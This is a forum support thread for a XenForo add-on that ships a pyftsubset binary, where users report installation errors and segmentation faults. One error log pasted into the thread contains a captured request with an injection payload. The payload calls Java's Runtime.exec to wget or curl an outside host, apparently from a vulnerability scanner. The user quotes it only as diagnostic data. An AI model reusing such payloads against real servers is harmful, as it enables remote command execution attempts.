Resource icon

pyftsubset Single File Binary 1.0.4

No permission to download
When I click on install, these warnings appear
Function php_uname is disabled on your server - this function is used by the setup code to detect OS and CPU architecture.

I've modified the setup code so it should fallback to parse phpinfo output in case php_uname can't be used.
This is less reliable, but might work - just try version 1.0.2.
 
Last edited:
A SIGSEV is really bad :(
Unfortunately I somewhat fear that I can't help much with that.
Which Linux distribution do you use exactly?
 
  • ErrorException: [E_WARNING] array_flip(): Can only flip STRING and INTEGER values!
  • src/addons/Kirby/FontAwesomeManager/Pub/Controller/FontAwesome.php:87

Code:
#0 [internal function]: XF::handlePhpError(2, '[E_WARNING] arr...', '/pub.local/mboa...', 87, Array)
#1 src/addons/Kirby/FontAwesomeManager/Pub/Controller/FontAwesome.php(87): array_flip(Array)
#2 src/addons/Kirby/FontAwesomeManager/Pub/Controller/FontAwesome.php(37): Kirby\FontAwesomeManager\Pub\Controller\FontAwesome->processInput(Array, Object(Kirby\FontAwesomeManager\Helper))
#3 src/XF/Mvc/Dispatcher.php(352): Kirby\FontAwesomeManager\Pub\Controller\FontAwesome->actionMissingIcons(Object(XF\Mvc\ParameterBag))
#4 src/XF/Mvc/Dispatcher.php(259): XF\Mvc\Dispatcher->dispatchClass('Kirby\\FontAweso...', 'MissingIcons', Object(XF\Mvc\RouteMatch), Object(Kirby\FontAwesomeManager\Pub\Controller\FontAwesome), NULL)
#5 src/XF/Mvc/Dispatcher.php(115): XF\Mvc\Dispatcher->dispatchFromMatch(Object(XF\Mvc\RouteMatch), Object(Kirby\FontAwesomeManager\Pub\Controller\FontAwesome), NULL)
#6 src/XF/Mvc/Dispatcher.php(57): XF\Mvc\Dispatcher->dispatchLoop(Object(XF\Mvc\RouteMatch))
#7 src/XF/App.php(2352): XF\Mvc\Dispatcher->run()
#8 src/XF.php(524): XF\App->run()
#9 index.php(20): XF::runApp('XF\\Pub\\App')
#10 {main}


Code:
array(4) {
  ["url"] => string(24) "/kirby-fam/missing-icons"
  ["referrer"] => string(29) "[URL]https://www.xxxxxxxxxxxx.de/[/URL]"
  ["_GET"] => array(0) {
  }
  ["_POST"] => array(5) {
    ["_xfRequestUri"] => string(1) "/"
    ["_xfResponseType"] => string(4) "json"
    ["_xfToken"] => string(8) "********"
    ["_xfWithData"] => string(1) "1"
    ["solidicons"] => array(1) {
      ["codepoints"] => array(1) {
        [0] => array(1) {
          ["#this.getClass().forName('java.lang.Runtime').getRuntime().exec('wget [URL]http://hitwqesstyxuo.bxss.me/||curl[/URL] [URL]http://hitwqesstyxuo.bxss.me/[/URL]')"] => string(4) "00a0"
        }
      }
    }
  }
}

or

Code:
array(4) {
  ["url"] => string(24) "/kirby-fam/missing-icons"
  ["referrer"] => string(29) "https://www.xxxxxxxxxxxx.de/"
  ["_GET"] => array(0) {
  }
  ["_POST"] => array(5) {
    ["_xfRequestUri"] => string(70) "/flohmarkt/?condition_id=3&listing_type_id=4&order=price&direction=asc"
    ["_xfResponseType"] => string(4) "json"
    ["_xfToken"] => string(8) "********"
    ["_xfWithData"] => string(1) "1"
    ["icons"] => array(1) {
      ["codepoints"] => array(1) {
        [0] => array(1) {
          [0] => string(4) "0020"
        }
      }
    }
  }
}

and many more
 
Your post is confusing @webbouk.

This Add-on is basically just a compiled binary of pyftsubset, it does not require the python brotli module to be installed on the server - in fact it doesn't require python to be available at all.

Please re-check your setup, you are most likely doing smth. wrong.

If you can install pyftsubst via your OS package manager (or pip) please do so and do not use this Add-on.
It should only be used as a last ressort if pyftsubset cannot be installed otherwise.
 
Hi Kirby, the post was posted in the wrong thread and Ive asked for it to be moved. It should have been in the Font Awesome Manager thread
 
I tried installing this add-on and got the following error message:

Screenshot(1).webp

I looked through this thread for solutions and I chmod both files to 777 and that didn't seem to work. Thank you for the help.
 
Segmentation fault is bad :(

Can you check https://www.yoursite.com/admin.php?tools/phpinfo and post the value of System?
 
Segmentation fault is bad :(

Can you check https://www.yoursite.com/admin.php?tools/phpinfo and post the value of System?

Here you go!

Linux xxx.hawkhost.com 3.10.0-962.3.2.lve1.5.70.el7.x86_64 #1 SMP Mon May 30 08:45:55 UTC 2022 x86_64
 
Just trying to update to 1.0.3 after updating FAM to 1.2.7, but I'm getting this error I don't know how to fix:

001.webp

002.webp


It's all been working regularly until now, FAM's settings looks ok... what else can I do?
 
Top Bottom